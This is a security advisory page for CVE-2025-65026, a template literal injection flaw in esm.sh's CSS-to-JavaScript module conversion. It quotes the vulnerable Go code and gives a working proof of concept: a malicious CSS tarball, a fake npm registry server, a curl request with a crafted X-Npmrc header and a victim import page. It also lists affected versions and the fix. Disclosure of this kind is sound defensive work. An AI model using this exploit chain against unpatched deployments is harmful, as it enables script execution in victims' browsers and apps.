CVE-2025-65026: esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript

Published Nov 19, 2025
·
Updated

Summary The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature.

When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization.

An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.

Root Cause: The CSS module conversion logic (router.go:1112-1119) performs incomplete sanitization - it only checks for backticks (\) but fails to escape template literal expressions (${...}), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.

Details File: server/router.go Lines: 1112-1119

go // Convert CSS to JavaScript module when ?module query is present if pathKind == RawFile && strings.HasSuffix(esm.SubPath, ".css") && query.Has("module") { filename := path.Join(npmrc.StoreDir(), esm.Name(), "nodemodules", esm.PkgName, esm.SubPath) css, err := os.ReadFile(filename) if err != nil { return rex.Status(500, err.Error()) } buf := bytes.NewBufferString("/ esm.sh - css module /\n") buf.WriteString("const stylesheet = new CSSStyleSheet();\n") if bytes.ContainsRune(css, '') { // If backtick exists: JSON encode (SAFE) buf.WriteString("stylesheet.replaceSync(") buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css))))) buf.WriteString(");\n") } else { // If no backtick: Direct insertion (VULNERABLE!) buf.WriteString("stylesheet.replaceSync(") buf.Write(css) // ← CSS inserted into template literal without sanitization! buf.WriteString(");\n") } buf.WriteString("export default stylesheet;\n") ctx.SetHeader("Content-Type", ctJavaScript) return buf } When CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping ${...} expressions. Template literals in JavaScript evaluate expressions within ${...}, causing any such expressions in the CSS to execute as JavaScript code.

PoC

Step 1. Create Malicious Package (tar) python import tarfile import io import json from datetime import datetime

Malicious CSS with template literal injection evilcss = b""" body { background-color: #ffffff; color: #333333; }

.container { max-width: 1200px; margin: 0 auto; }

/ js payload / ${alert(1)}

/ More CSS to appear legitimate / .footer { margin-top: 20px; padding: 10px; } """

files = { "package/index.js": b"module.exports = { version: '1.0.0' };", "package/package.json": json.dumps({ "name": "test-css-injection", "version": "1.0.0", "description": "Test package for CSS injection", "main": "index.js" }, indent=2).encode(), # Malicious CSS file "package/poc.css": evilcss, }

with tarfile.open("test-css-injection-1.0.0.tgz", "w:gz") as tar: for name, content in files.items(): info = tarfile.TarInfo(name=name) info.size = len(content) info.mode = 0o644 info.mtime = int(datetime.now().timestamp()) tar.addfile(info, io.BytesIO(content))

print("Malicious CSS tarball created - test-css-injection-1.0.0.tgz")

Step 2. Run Fake Registry Server python fake-npm-registry.py from flask import Flask, jsonify, sendfile

app = Flask(name)

MALICIOUSTARBALL = "/tmp/test-css-injection-1.0.0.tgz" # HERE MALICIOUS TAR PATH REGISTRYURL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER

@app.route('/<package>') def getmetadata(package): return jsonify({ "name": package, "versions": { "1.0.0": { "name": package, "version": "1.0.0", "dist": { "tarball": f"{REGISTRYURL}/{package}/-/{package}-1.0.0.tgz" } } }, "dist-tags": {"latest": "1.0.0"} })

@app.route('/<package>/-/<filename>') def gettarball(package, filename): return sendfile(MALICIOUSTARBALL, mimetype='application/gzip')

if name == 'main': app.run(host='0.0.0.0', port=9999)

bash python3 fake-npm-registry.py > Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)

Step 3. Request Malicious Package with X-Npmrc Header (File Upload) bash curl "http://localhost:8080/test-tarslip@1.0.0" \ -H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}'

Step 4. Check Cross-site Script (alert(1)) html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>CSS Injection Victim Page</title> </head> <body> <script type="module"> // esm.sh import import styles from "http://localhost:8080/test-css-injection@1.0.0/poc.css?module"; console.log('Styles loaded:', styles); </script> </body> </html> <img width="1414" height="238" alt="image" src="https://github.com/user-attachments/assets/acf00a7b-cad2-4af0-8885-9ba2433ba9fb" />

in esm.sh Playground <img width="1568" height="502" alt="image" src="https://github.com/user-attachments/assets/b2cd56a9-930e-4e64-a05c-5df02682c897" />

Impact Can execute arbitrary JavaScript. This can sometimes lead to remote code execution. (Electron App, Deno App, ...)

Other sources

esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications. This issue has been patched in version 136.

NVD

Affected Software

3 affected componentsFixes available
esm.sh esm.sh CDN service<136
go/github.com/esm-dev/esm.sh<0.0.0-20251118065157-87d2f6497574
0.0.0-20251118065157-87d2f6497574
esm esm.sh<136

Event History

Nov 19, 2025
CVE Published
via MITRE·05:33 PM
Data Sourced
via MITRE·05:33 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:15 PM
RemedyAffected Software
Advisory Published
via GitHub·08:31 PM
Data Sourced
via GitHub·08:31 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-65026?

The severity of CVE-2025-65026 is considered critical due to the potential for remote code execution through template literal injection.

2

How do I fix CVE-2025-65026?

To fix CVE-2025-65026, upgrade the esm.sh CDN service to version 136 or later.

3

What is the impact of CVE-2025-65026?

The impact of CVE-2025-65026 includes the risk of attackers injecting malicious code into applications that utilize the CDN for CSS-to-JavaScript conversions.

4

Who is affected by CVE-2025-65026?

Anyone using versions prior to 136 of the esm.sh CDN service is affected by CVE-2025-65026.

5

What type of vulnerability is CVE-2025-65026?

CVE-2025-65026 is classified as a Template Literal Injection vulnerability, falling under CWE-94.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203